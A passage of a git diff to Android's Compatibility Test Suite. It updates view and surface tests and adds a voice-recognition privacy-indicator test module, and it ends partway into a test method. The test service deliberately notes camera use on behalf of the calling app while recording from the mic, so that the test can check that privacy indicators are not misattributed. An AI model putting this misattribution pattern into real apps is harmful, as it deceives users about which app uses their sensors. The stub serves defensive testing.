-    @Test
-    public void testFindNextFocusDoesNotReturnItself() {
-        View nextFocus = mFocusFinder.findNextFocus(mInflateLayout, mBottom, View.FOCUS_FORWARD);
-        assertNull(nextFocus);
-    }
-
-    @Test
-    public void testFindPreviousFocusDoesNotReturnItself() {
-        View previousFocus =
-                mFocusFinder.findNextFocus(mInflateLayout, mBottom, View.FOCUS_BACKWARD);
-        assertNull(previousFocus);
-    }
 }
diff --git a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
index a2b01f4..645d9fa 100644
--- a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
+++ b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
@@ -15,6 +15,8 @@
  */
 package android.view.cts;
 
+import static android.server.wm.WindowManagerState.getLogicalDisplaySize;
+
 import android.animation.ObjectAnimator;
 import android.animation.PropertyValuesHolder;
 import android.animation.ValueAnimator;
@@ -70,6 +72,7 @@
     public void setup() {
         mActivity = mActivityRule.getActivity();
         mMediaPlayer = mActivity.getMediaPlayer();
+        mActivity.setLogicalDisplaySize(getLogicalDisplaySize());
     }
 
     /**
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index d0ce0f0..3f9f563 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -50,6 +50,7 @@
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.ColorFilter;
+import android.graphics.Insets;
 import android.graphics.Matrix;
 import android.graphics.Point;
 import android.graphics.PorterDuff;
@@ -58,7 +59,6 @@
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.StateListDrawable;
-import android.hardware.display.DisplayManager;
 import android.os.Bundle;
 import android.os.Parcelable;
 import android.os.SystemClock;
@@ -90,6 +90,9 @@
 import android.view.ViewGroup;
 import android.view.ViewParent;
 import android.view.ViewTreeObserver;
+import android.view.WindowInsets;
+import android.view.WindowManager;
+import android.view.WindowMetrics;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.animation.AlphaAnimation;
 import android.view.animation.Animation;
@@ -3834,14 +3837,18 @@
         Rect outRect = new Rect();
         View view = new View(mActivity);
         // mAttachInfo is null
-        DisplayManager dm = (DisplayManager) mActivity.getApplicationContext().getSystemService(
-                Context.DISPLAY_SERVICE);
-        Display d = dm.getDisplay(Display.DEFAULT_DISPLAY);
         view.getWindowVisibleDisplayFrame(outRect);
+        final WindowManager windowManager = mActivity.getWindowManager();
+        final WindowMetrics metrics = windowManager.getMaximumWindowMetrics();
+        final Insets insets =
+                metrics.getWindowInsets().getInsets(
+                        WindowInsets.Type.navigationBars() | WindowInsets.Type.displayCutout());
+        final int expectedWidth = metrics.getBounds().width() - insets.left - insets.right;
+        final int expectedHeight = metrics.getBounds().height() - insets.top - insets.bottom;
         assertEquals(0, outRect.left);
         assertEquals(0, outRect.top);
-        assertEquals(d.getWidth(), outRect.right);
-        assertEquals(d.getHeight(), outRect.bottom);
+        assertEquals(expectedWidth, outRect.right);
+        assertEquals(expectedHeight, outRect.bottom);
 
         // mAttachInfo is not null
         outRect = new Rect();
@@ -4882,7 +4889,7 @@
         float[] newValues = new float[9];
         newMatrix.getValues(newValues);
         int[] location = new int[2];
-        view.getLocationInWindow(location);
+        view.getLocationOnScreen(location);
         boolean hasChanged = false;
         for (int i = 0; i < 9; ++i) {
             if (initialValues[i] != newValues[i]) {
@@ -4890,7 +4897,7 @@
             }
         }
         assertTrue("Matrix should be changed", hasChanged);
-        assertEquals("Matrix should reflect position in window",
+        assertEquals("Matrix should reflect position on screen",
                 location[1], newValues[5], 0.001);
     }
 
diff --git a/tests/tests/view/src/android/view/cts/ViewUnbufferedTest.java b/tests/tests/view/src/android/view/cts/ViewUnbufferedTest.java
index 67d5de4..b0ec086 100644
--- a/tests/tests/view/src/android/view/cts/ViewUnbufferedTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewUnbufferedTest.java
@@ -139,27 +139,33 @@
 
     // If resampling happened, the coordinates and event time would resample to new position.
     private static void compareEvent(final MotionEvent sentEvent,
-            final ReceivedEvent receivedEvent) {
+            final ReceivedEvent receivedEvent, final int[] offsets) {
         assertEquals(sentEvent.getAction(), receivedEvent.mAction);
-        assertEquals((int) sentEvent.getX(), receivedEvent.mX, 0);
+        assertEquals((int) sentEvent.getX(), receivedEvent.mX + offsets[0]);
+        assertEquals((int) sentEvent.getY(), receivedEvent.mY + offsets[1]);
         assertEquals(sentEvent.getEventTime(), receivedEvent.mEventTime);
         assertEquals(sentEvent.getSource(), receivedEvent.mSource);
     }
 
     private void compareEvents(final BlockingQueue<MotionEvent> sentEvents,
-            final BlockingQueue<ReceivedEvent> receivedEvents) {
+            final BlockingQueue<ReceivedEvent> receivedEvents, final int[] offsets) {
         assertEquals(sentEvents.size(), receivedEvents.size());
 
         for (int i = 0; i < sentEvents.size(); i++) {
             MotionEvent sentEvent = sentEvents.poll();
             ReceivedEvent receivedEvent = receivedEvents.poll();
-            compareEvent(sentEvent, receivedEvent);
+            compareEvent(sentEvent, receivedEvent, offsets);
         }
     }
 
-    private Point getViewCenterOnScreen(View view) {
+    private int[] getViewLocationOnScreen(View view) {
         final int[] xy = new int[2];
         view.getLocationOnScreen(xy);
+        return xy;
+    }
+
+    private Point getViewCenterOnScreen(View view) {
+        final int[] xy = getViewLocationOnScreen(view);
         final int viewWidth = view.getWidth();
         final int viewHeight = view.getHeight();
 
@@ -276,7 +282,7 @@
                 InputDevice.SOURCE_TOUCHSCREEN);
 
         assertTrue(mMaxReceivedCountPerFrame > 1);
-        compareEvents(mSentEvents, mReceivedEvents);
+        compareEvents(mSentEvents, mReceivedEvents, getViewLocationOnScreen(mView));
     }
 
     // Test view requested touch screen unbuffered from MotionEvent.
@@ -295,7 +301,7 @@
                 InputDevice.SOURCE_TOUCHSCREEN);
 
         assertTrue(mMaxReceivedCountPerFrame > 1);
-        compareEvents(mSentEvents, mReceivedEvents);
+        compareEvents(mSentEvents, mReceivedEvents, getViewLocationOnScreen(mView));
     }
 
     // Test view requested unbuffered source but reset it later.
@@ -330,7 +336,7 @@
         sendJoystickEvents(0, 0);
 
         assertTrue(mMaxReceivedCountPerFrame > 1);
-        compareEvents(mSentEvents, mReceivedEvents);
+        compareEvents(mSentEvents, mReceivedEvents, new int[]{0, 0});
     }
 
     // Test view requested joystick unbuffered but no focus.
@@ -362,7 +368,7 @@
                 InputDevice.SOURCE_TOUCHSCREEN);
 
         assertTrue(mMaxReceivedCountPerFrame > 1);
-        compareEvents(mSentEvents, mReceivedEvents);
+        compareEvents(mSentEvents, mReceivedEvents, getViewLocationOnScreen(mView));
     }
 
     // Test view requested different source unbuffered from the received events.
diff --git a/tests/tests/view/surfacevalidator/Android.mk b/tests/tests/view/surfacevalidator/Android.mk
index 973d374..54129cd 100644
--- a/tests/tests/view/surfacevalidator/Android.mk
+++ b/tests/tests/view/surfacevalidator/Android.mk
@@ -17,6 +17,8 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsSurfaceValidatorLib
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_TAGS := tests
 
 LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 84cbd00..6e643f8 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -98,6 +98,7 @@
     private volatile boolean mOnWatch;
     private CountDownLatch mCountDownLatch;
     private boolean mProjectionServiceBound = false;
+    private Point mLogicalDisplaySize = new Point();
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
@@ -130,6 +131,10 @@
         bindMediaProjectionService();
     }
 
+    public void setLogicalDisplaySize(Point logicalDisplaySize) {
+        mLogicalDisplaySize.set(logicalDisplaySize.x, logicalDisplaySize.y);
+    }
+
     public void dismissPermissionDialog() {
         // The permission dialog will be auto-opened by the activity - find it and accept
         UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
@@ -146,7 +151,6 @@
         @Override
         public void onServiceConnected(ComponentName className, IBinder service) {
             startActivityForResult(mProjectionManager.createScreenCaptureIntent(), PERMISSION_CODE);
-            dismissPermissionDialog();
             mProjectionServiceBound = true;
         }
 
@@ -248,11 +252,16 @@
             Log.d(TAG, "Starting capture");
 
             Display display = getWindow().getDecorView().getDisplay();
-            Point size = new Point();
             DisplayMetrics metrics = new DisplayMetrics();
-            display.getRealSize(size);
             display.getMetrics(metrics);
 
+            final DisplayManager displayManager =
+                    (DisplayManager) CapturedActivity.this.getSystemService(
+                    Context.DISPLAY_SERVICE);
+            final Display defaultDisplay = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+            final int rotation = defaultDisplay.getRotation();
+            Display.Mode mode = defaultDisplay.getMode();
+
             View testAreaView = findViewById(android.R.id.content);
             Rect boundsToCheck = new Rect(0, 0, testAreaView.getWidth(), testAreaView.getHeight());
             int[] topLeft = new int[2];
@@ -264,11 +273,11 @@
             }
 
             mSurfacePixelValidator = new SurfacePixelValidator2(CapturedActivity.this,
-                    size, boundsToCheck, animationTestCase.getChecker());
-            Log.d("MediaProjection", "Size is " + size.toString()
-                    + ", bounds are " + boundsToCheck.toShortString());
+                mLogicalDisplaySize, boundsToCheck, animationTestCase.getChecker());
+                Log.d("MediaProjection", "Size is " + mLogicalDisplaySize.toString()
+                + ", bounds are " + boundsToCheck.toShortString());
             mVirtualDisplay = mMediaProjection.createVirtualDisplay("CtsCapturedActivity",
-                    size.x, size.y,
+                    mLogicalDisplaySize.x, mLogicalDisplaySize.y,
                     metrics.densityDpi,
                     DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
                     mSurfacePixelValidator.getSurface(),
diff --git a/tests/tests/voiceRecognition/Android.bp b/tests/tests/voiceRecognition/Android.bp
new file mode 100644
index 0000000..9e58e5c
--- /dev/null
+++ b/tests/tests/voiceRecognition/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsVoiceRecognitionTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: ["android.test.base"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.test.ext.junit",
+        "truth-prebuilt",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    sdk_version: "system_current",
+}
diff --git a/tests/tests/voiceRecognition/AndroidManifest.xml b/tests/tests/voiceRecognition/AndroidManifest.xml
new file mode 100644
index 0000000..41e29cb
--- /dev/null
+++ b/tests/tests/voiceRecognition/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.voicerecognition.cts">
+
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+    <application android:label="CtsVoiceRecognitionTestCases">
+        <uses-library android:name="android.test.runner"/>
+        <!--The Activity that uses SpeechRecognizer APIs to access RecognitionService -->
+        <activity android:name="SpeechRecognitionActivity"
+                  android:label="SpeechRecognitionActivity"
+                  android:exported="true">
+        </activity>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.voicerecognition.cts"
+         android:label="CTS tests of android voicerecognition">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/voiceRecognition/AndroidTest.xml b/tests/tests/voiceRecognition/AndroidTest.xml
new file mode 100644
index 0000000..6934357
--- /dev/null
+++ b/tests/tests/voiceRecognition/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Voice Recognition test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true"/>
+        <option name="test-file-name" value="CtsVoiceRecognitionTestCases.apk"/>
+        <option name="test-file-name" value="CtsVoiceRecognitionService.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.voicerecognition.cts" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/voiceRecognition/RecognitionService/Android.bp b/tests/tests/voiceRecognition/RecognitionService/Android.bp
new file mode 100644
index 0000000..8b1c4e1
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsVoiceRecognitionService",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests"
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+}
diff --git a/tests/tests/voiceRecognition/RecognitionService/AndroidManifest.xml b/tests/tests/voiceRecognition/RecognitionService/AndroidManifest.xml
new file mode 100644
index 0000000..072df55
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.recognitionservice.service"
+          android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+    <application android:label="CtsVoiceRecognitionService">
+        <uses-library android:name="android.test.runner" />
+
+        <service android:name="CtsVoiceRecognitionService"
+                 android:label="@string/service_name"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.speech.RecognitionService" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </service>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:label="The VoiceRecognitionService for CTS test."
+        android:targetPackage="android.recognitionservice.service" >
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/voiceRecognition/RecognitionService/res/values/strings.xml b/tests/tests/voiceRecognition/RecognitionService/res/values/strings.xml
new file mode 100644
index 0000000..f96159c
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="service_name">CtsVoiceRecognitionService</string>
+</resources>
diff --git a/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java b/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
new file mode 100644
index 0000000..25cfadd
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.recognitionservice.service;
+
+import android.app.AppOpsManager;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.media.MediaRecorder;
+import android.os.Binder;
+import android.speech.RecognitionService;
+import android.speech.RecognizerIntent;
+import android.util.Log;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * Implementation of {@link RecognitionService} used in the tests.
+ */
+public class CtsVoiceRecognitionService extends RecognitionService {
+
+    private final String TAG = "CtsVoiceRecognitionService";
+
+    private MediaRecorder mMediaRecorder;
+    private File mOutputFile;
+
+    @Override
+    protected void onCancel(Callback listener) {
+        // No-op.
+    }
+
+    @Override
+    protected void onStopListening(Callback listener) {
+        // No-op.
+    }
+
+    @Override
+    protected void onStartListening(Intent recognizerIntent, Callback listener) {
+        Log.d(TAG, "onStartListening");
+        mediaRecorderReady();
+        blameCameraPermission(recognizerIntent, listener.getCallingUid());
+        try {
+            mMediaRecorder.prepare();
+            mMediaRecorder.start();
+        } catch (IOException e) {
+            // We focus on the open mic behavior, wedon't need to real record and save to the file.
+            // Because we don't set the output the output file. The IOException occurred when start.
+            // We catch this and reset the media record.
+            e.printStackTrace();
+            mMediaRecorder.release();
+            mMediaRecorder = null;
+        }
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(TAG, "onDestroy");
+        stopRecord();
+        super.onDestroy();
+    }
+
+    // RecognitionService try to blame non-mic permission
+    private void blameCameraPermission(Intent recognizerIntent, int callingPackageUid) {
+        final String callingPackage =
+                recognizerIntent.getStringExtra(RecognizerIntent.EXTRA_CALLING_PACKAGE);
+        final AppOpsManager appOpsManager = getSystemService(AppOpsManager.class);
+        appOpsManager.noteProxyOpNoThrow(AppOpsManager.OPSTR_CAMERA, callingPackage,
+                callingPackageUid, /*attributionTag*/ null, /*message*/ null);
+    }
+
+    private void mediaRecorderReady() {
+        mMediaRecorder = new MediaRecorder();
+        mOutputFile = new File(getExternalCacheDir(), "test.3gp");
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.OutputFormat.AMR_NB);
+        mMediaRecorder.setOutputFile(mOutputFile);
+    }
+
+    private void stopRecord() {
+        if (mMediaRecorder != null) {
+            mMediaRecorder.stop();
+            mMediaRecorder.release();
+            mMediaRecorder = null;
+        }
+        if (mOutputFile != null && mOutputFile.exists()) {
+            mOutputFile.delete();
+        }
+    }
+}
diff --git a/tests/tests/voiceRecognition/res/layout/main.xml b/tests/tests/voiceRecognition/res/layout/main.xml
new file mode 100644
index 0000000..9cab939
--- /dev/null
+++ b/tests/tests/voiceRecognition/res/layout/main.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
new file mode 100644
index 0000000..086c1c7
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
@@ -0,0 +1,239 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.voicerecognition.cts;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.Manifest;
+import android.app.compat.CompatChanges;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.os.Process;
+import android.os.SystemClock;
+import android.provider.DeviceConfig;
+import android.provider.Settings;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.text.TextUtils;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public final class RecognitionServiceMicIndicatorTest {
+
+    private final String TAG = "RecognitionServiceMicIndicatorTest";
+    // same as Settings.Secure.VOICE_RECOGNITION_SERVICE
+    private final String VOICE_RECOGNITION_SERVICE = "voice_recognition_service";
+    // same as Settings.Secure.VOICE_INTERACTION_SERVICE
+    private final String VOICE_INTERACTION_SERVICE = "voice_interaction_service";
+    // Th notification privacy indicator
+    private final String PRIVACY_CHIP_PACLAGE_NAME = "com.android.systemui";
+    private final String PRIVACY_CHIP_ID = "privacy_chip";
+    // The cts app label
+    private final String APP_LABEL = "CtsVoiceRecognitionTestCases";
+    // A simple test voice recognition service implementation
+    private final String CTS_VOICE_RECOGNITION_SERVICE =
+            "android.recognitionservice.service/android.recognitionservice.service"
+                    + ".CtsVoiceRecognitionService";
+    private final String INDICATORS_FLAG = "camera_mic_icons_enabled";
+    private final long INDICATOR_DISMISS_TIMEOUT = 5000L;
+    private final long UI_WAIT_TIMEOUT = 1000L;
+    private final long PERMISSION_INDICATORS_NOT_PRESENT = 162547999L;
+
+    private UiDevice mUiDevice;
+    private SpeechRecognitionActivity mActivity;
+    private Context mContext;
+    private String mOriginalVoiceRecognizer;
+    private String mCameraLabel;
+    private boolean mOriginalIndicatorsEnabledState;
+    private boolean mTestRunnung;
+
+    @Rule
+    public ActivityTestRule<SpeechRecognitionActivity> mActivityTestRule =
+            new ActivityTestRule<>(SpeechRecognitionActivity.class);
+
+    @Before
+    public void setup() {
+        // If the change Id is not present, then isChangeEnabled will return true. To bypass this,
+        // the change is set to "false" if present.
+        assumeFalse("feature not present on this device", runWithShellPermissionIdentity(
+                () -> CompatChanges.isChangeEnabled(PERMISSION_INDICATORS_NOT_PRESENT,
+                        Process.SYSTEM_UID)));
+        final PackageManager pm = InstrumentationRegistry.getTargetContext().getPackageManager();
+        boolean hasTvFeature = pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+        assumeFalse("Not run in the tv device", hasTvFeature);
+        mTestRunnung = true;
+        prepareDevice();
+        mContext = InstrumentationRegistry.getTargetContext();
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mActivity = mActivityTestRule.getActivity();
+
+        try {
+            mCameraLabel = pm.getPermissionGroupInfo(Manifest.permission_group.CAMERA, 0).loadLabel(
+                    pm).toString();
+        } catch (PackageManager.NameNotFoundException e) {
+        }
+        // get original indicator enable state
+        runWithShellPermissionIdentity(() -> {
+            mOriginalIndicatorsEnabledState =
+                    DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG, false);
+        });
+        // get original voice services
+        mOriginalVoiceRecognizer = Settings.Secure.getString(
+                mContext.getContentResolver(), VOICE_RECOGNITION_SERVICE);
+        // QPR is default disabled, we need to enable it
+        setIndicatorsEnabledStateIfNeeded(/* shouldBeEnabled */ true);
+    }
+
+    @After
+    public void teardown() {
+        if (!mTestRunnung) {
+            return;
+        }
+        // press back to close the dialog
+        mUiDevice.pressBack();
+        // restore to original voice services
+        setCurrentRecognizer(mOriginalVoiceRecognizer);
+        // restore to original indicator enable state
+        setIndicatorsEnabledStateIfNeeded(mOriginalIndicatorsEnabledState);
+    }
+
+    private void prepareDevice() {
+        // Unlock screen.
+        runShellCommand("input keyevent KEYCODE_WAKEUP");
+        // Dismiss keyguard, in case it's set as "Swipe to unlock".
+        runShellCommand("wm dismiss-keyguard");
+    }
+
+    private void setIndicatorsEnabledStateIfNeeded(Boolean shouldBeEnabled) {
+        runWithShellPermissionIdentity(() -> {
+            final boolean currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
+                    INDICATORS_FLAG, false);
+            if (currentlyEnabled != shouldBeEnabled) {
+                DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG,
+                        shouldBeEnabled.toString(), false);
+            }
+        });
+    }
+
+    private void setCurrentRecognizer(String recognizer) {
+        runWithShellPermissionIdentity(
+                () -> Settings.Secure.putString(mContext.getContentResolver(),
+                        VOICE_RECOGNITION_SERVICE, recognizer));
+        mUiDevice.waitForIdle();
+    }
+
+    private boolean hasPreInstalledRecognizer(String packageName) {
+        Log.v(TAG, "hasPreInstalledRecognizer package=" + packageName);
+        try {
+            final PackageManager pm = mContext.getPackageManager();
+            final ApplicationInfo info = pm.getApplicationInfo(packageName, 0);
+            return ((info.flags & ApplicationInfo.FLAG_SYSTEM) != 0);
+        } catch (PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+
+    private static String getComponentPackageNameFromString(String from) {
+        ComponentName componentName = from != null ? ComponentName.unflattenFromString(from) : null;
+        return componentName != null ? componentName.getPackageName() : "";
+    }
+
+    @Test
+    public void testNonTrustedRecognitionServiceCannotBlameCallingApp() throws Throwable {
+        // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
+        // is also a preinstalled app. This is a untrusted case.
